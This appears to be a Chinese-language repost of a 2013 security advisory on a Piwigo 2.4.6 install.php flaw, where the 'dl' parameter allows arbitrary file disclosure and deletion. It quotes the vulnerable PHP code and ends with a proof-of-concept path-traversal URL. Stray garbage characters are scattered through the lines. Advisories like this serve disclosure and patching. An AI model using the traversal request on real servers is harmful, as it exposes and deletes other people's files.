Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
) h2 q" o) j7 d  v& W# U====================================================================
# y" f! T# s1 _! y6 F" H/install.php:
. h" [# u+ X, _7 j- {" @* @0 ^-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
* V0 B) g- I5 y4 N$ y, K' _115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
8 @6 A8 t- j# ?8 i, F7 g9 i" l. @6 {116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
. x/ }% C4 ?' k3 k118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
2 [7 `! X) z+ T4 _+ @  X+ P120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
: m- M6 @  E  f; @; ]. M( `124: }
====================================================================

. k( U7 [0 l% I2 N( |( Q; x8 UTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
+ T; _* |: A3 u" }' c           PHP 5.4.4
# Z. M' d% g" l! g/ d           MySQL 5.5.25a
, B+ ^4 @' F. P# W
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
5 S; `+ g3 o. y; L                            @zeroscience
+ R! r% {: Y% f( Q5 z5 f/ Z
$ p2 {8 z  i( K8 m- fAdvisory ID: ZSL-2013-5127
* g3 x8 z# D0 @: NAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
- V1 ]4 R* q" o3 o9 h/ E
--
. T# D; @# G* A% Ahttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
2 Q  x* V7 B4 {. E3 }% w) i6 M( |